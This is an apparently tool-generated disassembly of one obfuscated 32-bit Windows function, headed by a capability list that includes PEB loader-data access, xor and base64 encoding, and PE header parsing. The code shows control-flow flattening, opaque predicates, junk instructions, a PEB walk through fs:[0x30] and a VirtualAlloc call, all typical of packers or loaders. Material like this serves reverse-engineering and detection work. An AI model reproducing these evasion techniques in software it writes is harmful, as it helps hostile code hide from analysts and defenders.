Function at 0x401b90
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Hash data using murmur3
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1dc
mov eax, dword [0x481240]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xbaaea292
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x45515d6d
and eax, 0xbaaea292
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x498966a6
and ecx, 0xb6769959
or eax, ecx
mov ecx, eax
xor ecx, 0x48802422
xor eax, 0x94160908
and eax, 0x951f4b8c
and ecx, 0x6ae0b473
or ecx, eax
mov eax, ecx
xor eax, 0x900e0280
xor ecx, 0xaa02463
and eax, 0xf04e9290
and ecx, 0xfb16d6f
or ecx, eax
mov eax, dword [0x482580]
cmp ecx, 0xfb16d6f
sete byte [ebp - 0x71]
cmp eax, 0xa
mov eax, 0x9087079d
setl byte [ebp - 0x72]
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x280abc76
mov esi, eax
and esi, 0xd7f54389
and eax, 0x9e6ea0d
or edx, esi
mov esi, edx
xor edx, 0xd7f54388
xor esi, 0x28081840
or edx, 1
and esi, 0xa85c1a40
mov edi, edx
and edi, 0x57a3e5be
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xf61915f2
mov ebx, edi
not ebx
and edi, 0xa85c1a41
or eax, ecx
or edx, ebx
and ebx, 0x57a3e5be
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x9e6ea0d
mov edi, esi
and edi, 0xf61915f2
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x87f74fa7
setne dl
sete al
cmp dword [0x482580], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
xor dl, 1
or dh, ch
and al, ah
xor cl, dh
or al, dl
and cl, dh
mov ch, al
mov edx, ecx
mov ah, cl
xor ch, 1
xor dl, 1
and ah, dl
xor ah, 1
or ah, dl
mov edx, eax
and dl, ch
xor ah, 1
xor dl, 1
or ah, cl
or dl, ch
mov ch, ah
xor dl, 1
xor ch, 1
or dl, al
and ch, dl
xor dl, 1
and dl, ah
mov ah, cl
xor ah, al
or al, cl
or dl, ch
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcd3f2a0e
cmovne ecx, esi
test al, 1
mov eax, 0xcd3f2a0e
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop word cs:[eax + eax]
cmp eax, 0x6c7b0d
jle 0x401de0
cmp eax, 0x4bcd3fab
jle 0x401f80
cmp eax, 0x61c8923e
jle 0x402115
cmp eax, 0x7001c949
jle 0x402383
cmp eax, 0x790db5bf
jg 0x402c01
cmp eax, 0x72d7931b
jg 0x4045e3
cmp eax, 0x703d3951
jle 0x4055e2
cmp eax, 0x703d3952
je 0x407d0d
cmp eax, 0x7051da73
je 0x407d20
cmp eax, 0x70688cf8
jne 0x401d70
mov eax, 0x8d3441c9
jmp 0x401d70
cmp eax, 0xbbf302a0
jle 0x4020b0
cmp eax, 0xe29fa3c4
jg 0x402189
cmp eax, 0xcd3f2a0d
jg 0x4023cf
cmp eax, 0xc59f1c91
jg 0x402dc9
cmp eax, 0xc15a25b2
jg 0x404619
cmp eax, 0xbdcae65b
jle 0x405602
cmp eax, 0xbdcae65c
je 0x407d33
cmp eax, 0xbe81cd36
je 0x407e5b
cmp eax, 0xc0fb9216
jne 0x401d70
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x88]
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1629240a
and eax, 0xe810d3e0
and ecx, 0x1c60815
or edx, ecx
xor edx, 0x1629240a
or eax, edx
mov ecx, eax
not ecx
and eax, 0xad75561b
and ecx, 0x528aa9e4
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x404004db
xor edx, 0xba9a7a04
xor ecx, 0xba9a7a05
and ecx, edx
and eax, 0x40d25cdb
and edx, 0xbf2da324
or edx, eax
mov eax, ecx
not eax
and ecx, 0xda365822
mov esi, eax
and esi, 0x25c9a7dd
or ecx, esi
mov esi, edx
xor esi, 0x9a240020
xor edx, 0x40d25cda
or eax, edx
and edx, 0x25c9a7dd
and esi, 0xda365822
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x33f9f6c
mov ecx, eax
not ecx
and eax, 0xd003b5dd
and ecx, 0x2ffc4a22
or eax, ecx
mov ecx, eax
xor ecx, 0x90039591
xor eax, 0xdd40800
and eax, 0x4dd4284c
and ecx, 0xb22bd7b3
or ecx, eax
mov eax, ecx
xor eax, 0x4400044
xor ecx, 0xb22bd7b3
mov edx, ecx
and edx, 0x59b66eb8
and eax, 0xa6499147
or eax, edx
xor eax, 0x59b66eb8
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x482580], 0xa
setge dl
xor al, dl
or cl, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x1c74d41d
cmovne ecx, esi
test dl, dl
mov esi, 0x1c74d41d
jmp 0x406a47
cmp eax, 0x23aaec2c
jg 0x4021f6
cmp eax, 0x17dafa4c
jg 0x4024df
cmp eax, 0x9f60d4d
jle 0x402e0a
cmp eax, 0x120ff01c
jg 0x404711
cmp eax, 0xecd4a4f
jle 0x405732
cmp eax, 0xecd4a50
je 0x407e77
cmp eax, 0x10c179d6
je 0x407e97
cmp eax, 0x110982f3
jne 0x401d70
mov eax, dword [ebp - 0x88]
vxorps xmm0, xmm0, xmm0
mov esi, 0x91add286
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x118], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 1
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x482580], 0xa
setge al
setl cl
xor ah, al
or al, dl
and ah, dl
xor al, 1
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x92027c61
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov esi, 0x92027c61
jmp 0x40bfd9
cmp eax, 0x989a700a
jg 0x402308
cmp eax, 0x91ee123d
jg 0x4028fd
cmp eax, 0x8ba37033
jle 0x402e4b
cmp eax, 0x8e78f7cd
jg 0x40484d
cmp eax, 0x8cf4fa39
jle 0x405766
cmp eax, 0x8cf4fa3a
je 0x407f6c
cmp eax, 0x8d3441c9
je 0x407fb6
cmp eax, 0x8db03960
jne 0x401d70
mov eax, dword [ebp - 0x34]
mov eax, 0x1ed8baad
jmp 0x401d70
cmp eax, 0x567d96c3
jg 0x402955
cmp eax, 0x4faa7e04
jle 0x402f3b
cmp eax, 0x527f22ec
jg 0x4048ae
cmp eax, 0x507fff74
jle 0x4058ff
cmp eax, 0x507fff75
je 0x407fce
cmp eax, 0x512bb967
je 0x4080e3
cmp eax, 0x51fdea70
jne 0x401d70
push dword [ebp - 0x154]
push dword [ebp - 0x150]
push dword [ebp - 0x14c]
vzeroupper
call fcn.004225a0
add esp, 0xc
mov eax, 0xb35ccc85
jmp 0x401d70
cmp eax, 0xf191b9a9
jg 0x4029ac
cmp eax, 0xe59c93ad
jle 0x402f7c
cmp eax, 0xee9adfcd
jg 0x4048e4
cmp eax, 0xe9b79d37
jle 0x4059da
cmp eax, 0xe9b79d38
je 0x4080ed
cmp eax, 0xe9dc400b
je 0x4080f7
cmp eax, 0xee93a679
jne 0x401d70
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, 0xe0d72d4d
jmp 0x401d70
cmp eax, 0x34e88f4f
jg 0x402a03
cmp eax, 0x2892b114
jle 0x403086
cmp eax, 0x302628b9
jg 0x40491d
cmp eax, 0x2e55aba0
jle 0x405b74
cmp eax, 0x2e55aba1
je 0x40819f
cmp eax, 0x2ef0a16e
je 0x4081c0
cmp eax, 0x301bbdcc
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x2e6500e0
mov esi, edx
mov edi, edx
or esi, 0x40021006
and ecx, 0x6e6710e6
and edi, 0x80102401
and edx, 0xb8c162c2
or edi, ecx
mov ecx, eax
and esi, 0x6e6710e6
and ecx, 0x1188cb18
and eax, 0x473e9d3d
or ecx, esi
or eax, edx
xor ecx, edi
mov edx, eax
xor eax, 0xb8c162c2
xor edx, 0x473e9d3d
mov esi, ecx
not esi
and ecx, 0x6927e379
and esi, 0x96d81c86
or ecx, esi
mov esi, ecx
xor esi, 0xa935d77f
xor ecx, 0x56ca2880
and eax, esi
and edx, ecx
mov esi, 0xcba12f49
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x482580], 0xa
setge dl
or cl, dl
xor al, dl
mov edx, 0x57c78bf8
xor cl, 1
xor al, cl
cmovne edx, esi
test al, cl
cmove edx, esi
test al, al
mov esi, 0x57c78bf8
cmove edx, esi
test al, cl
jmp 0x40af41
cmp eax, 0xa8d96276
jg 0x402ba6
cmp eax, 0x9e023d38
jle 0x4031b5
cmp eax, 0xa0969da9
jg 0x4049a7
cmp eax, 0x9f56deab
jle 0x405cc0
cmp eax, 0x9f56deac
je 0x4081ca
cmp eax, 0x9f5f79f5
je 0x4081d4
cmp eax, 0xa07722e2
jne 0x401d70
push 4
push 0x3000
push dword [ebp - 0xec]
push dword [ebp - 0x114]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0x3ad947fa
jmp 0x401d70
cmp eax, 0x68e03d55
jle 0x4031f6
cmp eax, 0x6e830fc8
jg 0x4049e8
cmp eax, 0x6a3fc370
jle 0x405ce0
cmp eax, 0x6a3fc371
je 0x4081e9
cmp eax, 0x6a6b4171
je 0x408324
cmp eax, 0x6b8e93d7
jne 0x401d70
mov eax, 0x8db03960
jmp 0x401d70
cmp eax, 0xd54b27b6
jle 0x403e83
cmp eax, 0xda90c27f
jg 0x404b21
cmp eax, 0xd781b7a2
jle 0x405ea9
cmp eax, 0xd781b7a3
je 0x408463
cmp eax, 0xda596a69
je 0x4086c8
cmp eax, 0xda77728a
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0x6c8b8460
mov esi, eax
and esi, 0xfffffffe
and eax, 0x93747b9f
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x93747b9f
mov edi, esi
and edi, 0x6c8b8460
or edx, edi
mov edi, 0x6a6b4171
xor eax, edx
not eax
or eax, esi
mov esi, 0xf0ecab1d
cmp eax, 0xffffffff
setne cl
cmp dword [0x482580], 0xa
mov eax, ecx
mov ch, cl
setl dl
setge ah
inc al
and ch, al
mov dh, al
xor ch, 1
or dh, ah
or ch, al
xor dh, 1
or al, dl
xor ch, 1
xor al, 1
or ch, cl
xor cl, ah
and cl, ah
or cl, dh
mov dh, ch
xor ch, 1
and dh, dl
and ch, ah
xor cl, 1
or al, dh
or al, ch
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
mov al, cl
xor dl, 1
or dl, ah
xor dl, 1
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x6a6b4171
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
test al, 1
jmp 0x40bb0b
cmp eax, 0x1d74508f
jle 0x40418c
cmp eax, 0x1ee3ece8
jg 0x404b57
cmp eax, 0x1e3d820a
jle 0x405fdb
cmp eax, 0x1e3d820b
je 0x4086de
cmp eax, 0x1e7c1b3a
je 0x408ca8
cmp eax, 0x1ed8baad
jne 0x401d70
bswap edx
bswap edi
not eax
rol edx, 0xdf
bswap edi
dec edi
sbb edi, 0x45
add edx, 0x17
imul edi
dec eax
rcl esi, 0x5a
add edx, 0x9f
inc edi
inc edi
rcr ebx, 0xc5
add esi, 0x7b
bswap eax
sbb ebx, 0xef
neg eax
not esi
or edi, 0xc1
imul eax
inc eax
imul eax
mov edx, 0xb3
imul edi
bswap edi
mov edx, 0xa3
bswap esi
dec edi
inc ebx
rol eax, 0xc9
not edi
rol edx, 0xfa
not edx
sbb eax, 0xfb
inc esi
rol esi, 0xf
imul esi
inc eax
bswap edi
inc ebx
sbb edi, 0x76
rol edi, 0x45
bswap ebx
sbb ebx, 0x39
sbb esi, 0x43
mov edx, 0x6a
add eax, 0xd1
and edi, 0x8d
neg edx
rol esi, 0x9b
rcl esi, 0x9f
neg edi
bswap esi
rcr esi, 0x79
inc eax
and ebx, 0x7e
rcr esi, 0xfb
rcl edi, 0xd8
mov esi, 0xcf
not edi
add esi, 0x16
imul ebx
mov edi, 0x32
dec edx
inc ebx
imul esi
not ebx
mov edi, 0x43
mov edx, 0x41
imul esi
neg esi
and edi, 0xf
bswap ebx
and eax, 0xd2
dec ebx
or edi, 0xa4
rcr ebx, 0x7f
imul eax
bswap eax
not esi
sub edi, 2
ror esi, 0x11
imul ebx
and eax, 0xbd
neg ebx
neg edx
add ebx, 0xed
rcr edx, 0xcf
inc eax
rcl edi, 0x4e
not eax
neg eax
imul esi
rcr edi, 0x8c
sbb eax, 0x1b
inc edi
not edx
imul edi
add esi, 0xd1
dec eax
rcr ebx, 0x91
rol esi, 0xe8
bswap ebx
sbb eax, 0x60
imul esi
add esi, 0xf1
and edi, 0x74
dec edi
bswap edx
not esi
or ebx, 0x12
rcl eax, 0xf5
sub edi, 0xc2
neg edx
not ebx
not eax
ror eax, 0x64
dec edx
add ebx, 0xe2
sub esi, 0xc
rol edx, 0xd1
dec edx
rcr esi, 0xf8
and edx, 0xc6
bswap edi
rcl ebx, 0xfb
bswap eax
ror edi, 0xdf
rcr edx, 0xc3
neg esi
rcl esi, 0xd0
or esi, 0x70
not edi
rcl ebx, 0x87
ror edi, 0x3b
not eax
imul esi
inc edi
imul edx
and edx, 0x26
neg ebx
or eax, 0x7d
bswap esi
ror esi, 0x6f
add ebx, 0xfa
neg eax
rcl ebx, 0xa1
neg edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x94]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x98]
add eax, 0xfffffff8
mov dword [ecx], eax
mov edx, 0xbd
imul ebx
mov ebx, 0xa7
imul esi
sbb esi, 0x86
inc eax
add edi, 0xe
inc edx
neg eax
add esi, 0xcb
ror ebx, 0xb1
not esi
inc ebx
add edx, 0xdd
ror eax, 0x79
or esi, 0x3b
rol eax, 0xee
inc eax
inc ebx
ror ebx, 0x43
inc eax
mov eax, 0x47
ror esi, 0x57
rol esi, 0x16
neg eax
rcl eax, 0xc6
sub edx, 0xf3
bswap eax
mov edx, 0x59
neg esi
bswap edx
rol edx, 0x28
rol eax, 0x69
neg edx
sub esi, 0x30
not esi
and edi, 0x91
and esi, 0x3a
neg eax
sub edi, 0xb1
ror eax, 0xa0
mov edx, 0x56
rcr edx, 0xcc
mov edi, 0x92
sbb esi, 0xdf
rcl esi, 0xfd
not edx
neg ebx
sub eax, 2
bswap edi
sbb edi, 0xc8
rcr esi, 0xbc
mov ebx, 0x61
rcr edx, 0x80
ror eax, 0xb5
sub edx, 0x62
add esi, 0xd6
bswap eax
neg eax
rcr ebx, 0x6d
mov ebx, 0xf2
ror ebx, 0x48
and esi, 0xb2
neg edx
rcl eax, 9
rol edx, 0x2d
dec esi
imul edx
imul edx
sbb edx, 0x1d
and edx, 0xc1
ror edi, 0x15
sbb ebx, 0xe1
not ebx
sub ebx, 0x7e
ror esi, 0x83
add ebx, 0x43
mov esi, 0x55
rol esi, 0xaf
rcr ebx, 0xa5
mov edx, 0xa2
rcl edx, 0xaf
ror ebx, 0x32
sbb esi, 0x3d
dec edi
dec ebx
rcl edx, 0x4d
sub edi, 0x37
dec esi
inc esi
and edx, 0x98
inc edx
neg edi
dec ebx
imul eax
ror ebx, 0x80
imul edi
rcr esi, 0x44
imul edi
and esi, 0x9e
rcl ebx, 0x4e
sub edx, 0x7f
sbb esi, 0x5a
and edi, 0x6a
mov eax, 0x30
not edi
ror edx, 0xfd
inc edi
inc edi
inc edi
sbb edi, 0xc2
rcl esi, 0x23
mov eax, 0x1b
and edi, 0x3d
rol ebx, 0x5f
ror edx, 0xc4
sub esi, 0x2c
inc edi
add ebx, 0x92
mov edi, 0xc2
neg esi
ror esi, 0x56
mov edi, 0x34
dec edx
inc esi
bswap edx
add edi, 0xa3
sbb edi, 0xf1
sub eax, 0x52
neg edi
inc ebx
ror eax, 0xa1
bswap ebx
imul edi
inc esi
mov eax, 0xe9
ror edi, 0x6c
imul edi
add ebx, 0xe1
bswap ebx
and edi, 0x71
bswap edx
bswap edi
neg edi
add edx, 0xaa
imul eax
rcr edi, 0xbe
or edi, 6
neg edi
dec edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1e4], eax
mov eax, 0x38047515
jmp 0x401d70
cmp eax, 0x94dbcedb
jle 0x4041cd
cmp eax, 0x9645fe40
jg 0x404b98
cmp eax, 0x94e7ca60
jle 0x405ffb
cmp eax, 0x94e7ca61
je 0x408cbe
cmp eax, 0x94f11bd4
je 0x408e0d
cmp eax, 0x96281b84
jne 0x401d70
cmp byte [ebp - 0x7a], 0
mov eax, 0x3a879465
mov ecx, 0xee9adfce
cmovne eax, ecx
jmp 0x401d70
cmp eax, 0x5cb3c247
jle 0x40436f
cmp eax, 0x5ec12041
jg 0x404bce
cmp eax, 0x5d28622d
jle 0x40604b
cmp eax, 0x5d28622e
je 0x408e17
cmp eax, 0x5e124876
je 0x408e40
cmp eax, 0x5e799d9d
jne 0x401d70
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, 0x7b933191
jmp 0x401d70
cmp eax, 0xfa0a1f9b
jle 0x4043bc
cmp eax, 0xfd81f4d1
jg 0x404c69
cmp eax, 0xfb3304b3
jle 0x406074
cmp eax, 0xfb3304b4
je 0x408e59
cmp eax, 0xfb444412
je 0x408e78
cmp eax, 0xfd28d97b
jne 0x401d70
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xdeda2f9a
jmp 0x401d70
cmp eax, 0x3f010fc5
jle 0x40455e
cmp eax, 0x4579b5c7
jg 0x404ca2
cmp eax, 0x42a1ea39
jle 0x4060a0
cmp eax, 0x42a1ea3a
je 0x408eae
cmp eax, 0x42c844ec
je 0x408eec
cmp eax, 0x44a8bfd8
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x8259c9c1
and edx, 0x7da6363e
or edx, ecx
mov eax, edx
mov edi, edx
xor eax, 0x7da6363e
xor edi, 0xf8ab2702
and edi, eax
mov ebx, eax
or ebx, 0x7af2eec3
mov ecx, edi
not ecx
and edi, 0xdd5e2dc0
mov esi, ecx
and esi, 0x22a1d23f
or ecx, ebx
and ebx, 0x22a1d23f
or edi, esi
mov esi, edx
xor edx, 0x80080100
not ecx
xor esi, 0x82488181
and edx, 0x850c0100
and esi, 0xa7c881a7
or edx, ebx
xor edx, edi
mov edi, 0xd781b7a3
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x9463f64c
and edx, 0x6b9c09b3
or ecx, edx
mov edx, eax
and edx, 0x58377e58
and eax, 1
or edx, esi
xor ecx, 0xee91188e
xor edx, 0xa7c881a6
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xad72e477
and edx, 0x528d1b88
or edx, esi
mov esi, ecx
not esi
and ecx, 0x528d1b88
or eax, esi
and esi, 0xad72e477
or ecx, esi
not eax
mov esi, 0x82107644
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2d3cf765
and ecx, 0xd2c3089a
or ecx, eax
xor ecx, 0xd2c3089a
setne dl
sete cl
cmp dword [0x482580], 0xa
mov dh, dl
setl ch
setge ah
mov al, ch
xor dl, ah
and dh, ah
and al, cl
and dl, cl
xor cl, ch
and cl, ch
mov ch, dl
or al, dh
xor dl, cl
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
or al, ah
xor cl, 1
mov ah, al
or cl, dl
xor ah, 1
mov edx, ecx
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd781b7a3
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
jmp 0x40c600
cmp eax, 0xb23f5290
jle 0x40459f
cmp eax, 0xb59607d7
jg 0x404ce4
cmp eax, 0xb35ccc84
jle 0x4060dc
cmp eax, 0xb35ccc85
je 0x408f0f
cmp eax, 0xb48ac8e1
je 0x408f25
cmp eax, 0xb594c7d8
jne 0x401d70
cmp dword [ebp - 0x1dc], 0
mov eax, 0x7af734e
mov ecx, 0xceb8c7b9
cmove eax, ecx
jmp 0x401d70
cmp eax, 0x7da642c9
jg 0x404d5d
cmp eax, 0x7cfdc183
jle 0x4063f3
cmp eax, 0x7cfdc184
je 0x4090ae
cmp eax, 0x7d049a3f
je 0x409232
cmp eax, 0x7d34f842
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xa7e1583e
and eax, ecx
not ecx
and ecx, 0xa7e1583e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x30e4edf4
and ecx, 0xcf1b120b
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x8280a34
xor ecx, 0x9705b5ca
xor eax, 0xdac20056
and eax, ecx
and edx, 0x182d1abc
and ecx, 0xe7d2e543
or ecx, edx
mov esi, ecx
xor esi, 0xe7d2e543
xor ecx, 0x102d1230
mov edx, esi
and edx, 0x4dc7b59c
or esi, 1
and ecx, 0x163dd730
or edx, eax
not eax
and eax, 0xb2384a62
and edx, 0x4dc7b59d
or edx, eax
mov eax, edx
not eax
and edx, 0x163dd730
mov edi, eax
or eax, esi
and edi, 0xe9c228cf
and esi, 0xe9c228cf
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x204a4
and eax, 0x55bd4209
mov edx, ecx
or edx, 0x88402142
and esi, 0x884225e6
and ecx, 0x22009810
and edx, 0x884225e6
or ecx, esi
mov esi, 0x4bcd3fac
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xaa40b952
and ecx, 0x55bf46ad
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x601c7ce7
mov edx, ecx
and edx, 0x9fe38318
or eax, edx
xor eax, 0x601c7ce7
or eax, ecx
cmp eax, 0xffffffff
setne ah
cmp dword [0x482580], 0xa
mov dl, ah
mov al, ah
setl ch
setge cl
inc dl
and al, dl
xor al, 1
or al, dl
or dl, ch
xor al, 1
xor dl, 1
or al, ah
xor al, cl
xor cl, ah
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
or cl, al
xor al, 1
xor dl, 1
xor ah, al
xor cl, 1
or dl, ch
or cl, ah
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb59607d8
cmovne eax, esi
test cl, 1
mov ecx, 0xb59607d8
cmovne ecx, eax
test dl, 1
jmp 0x40a994
cmp eax, 0xcc3c0e97
jle 0x404d93
cmp eax, 0xcc7c0b2c
jle 0x406413
cmp eax, 0xcc7c0b2d
je 0x40941b
cmp eax, 0xcd11fa78
je 0x409441
cmp eax, 0xcd2f8090
jne 0x401d70
mov eax, 0xa0969daa
jmp 0x401d70
cmp eax, 0x458d2a5
jle 0x404dcd
cmp eax, 0x66de14a
jle 0x406649
cmp eax, 0x66de14b
je 0x40944b
cmp eax, 0x7af734e
je 0x409563
cmp eax, 0x918a2fc
jne 0x401d70
mov eax, 0x10c179d6
jmp 0x401d70
cmp eax, 0x87640290
jle 0x404df8
cmp eax, 0x87f74fa6
jle 0x406796
cmp eax, 0x87f74fa7
je 0x409576
cmp eax, 0x8876a565
je 0x409580
cmp eax, 0x8aeb14c6
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x530ffeeb
and eax, 0xacf00114
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x3dbb597d
mov esi, edx
and esi, 0xc244a682
or ecx, esi
mov esi, eax
xor esi, 0x2cb00114
xor eax, 0x4204a682
and eax, 0xc244a682
and esi, 0x3dbb597d
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xf17766fe
sete ah
setne ch
cmp dword [0x482580], 0xa
mov cl, ah
setl dl
setge al
mov dh, dl
and al, ah
xor cl, dl
and dh, ch
or ch, dl
and cl, dl
or dl, ah
or al, dh
xor ch, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf33b884e
cmovne edx, esi
test al, 1
mov eax, 0xf33b884e
jmp 0x40cfe5
cmp eax, 0x4d9ed19f
jle 0x404f1d
cmp eax, 0x4e08a139
jle 0x4067c8
cmp eax, 0x4e08a13a
je 0x409593
cmp eax, 0x4e25a8e0
je 0x40959d
cmp eax, 0x4e338585
jne 0x401d70
mov eax, 0x926f5afb
jmp 0x401d70
cmp eax, 0xe3f8c73d
jle 0x404f48
cmp eax, 0xe4c7aab2
jle 0x4068dc
cmp eax, 0xe4c7aab3
je 0x409681
cmp eax, 0xe4f9c53e
je 0x4097a7
cmp eax, 0xe50b74a8
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x5f3549a0
mov esi, eax
and esi, 0xa0cab65e
and eax, 0xc0ba6e92
or edx, esi
mov esi, edx
xor esi, 0x450100a0
xor edx, 0xa0cab65f
mov edi, edx
and edi, 0x1a76690f
and esi, 0xe58996f0
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x3f45916d
mov ebx, edi
not ebx
and edi, 0xe58996f0
or eax, ecx
or edx, ebx
and ebx, 0x1a76690f
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xc0ba6e92
mov edi, esi
and edi, 0x3f45916d
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x9645fe41
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x482580], 0xa
setl dl
setge al
and ah, al
and dl, ch
or al, ch
or dl, ah
mov ecx, eax
mov ah, dl
not cl
and dl, al
xor ah, 1
and cl, ah
or ah, al
or cl, dl
mov al, ah
mov edx, 0xcd11fa78
xor al, cl
cmovne edx, esi
test ah, ah
mov eax, 0xcd11fa78
jmp 0x40cfe5
cmp eax, 0x26e96d64
jle 0x404f76
cmp eax, 0x27d50829
jle 0x406902
cmp eax, 0x27d5082a
je 0x4097b1
cmp eax, 0x2807acf1
je 0x4097bb
cmp eax, 0x284a3c06
jne 0x401d70
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
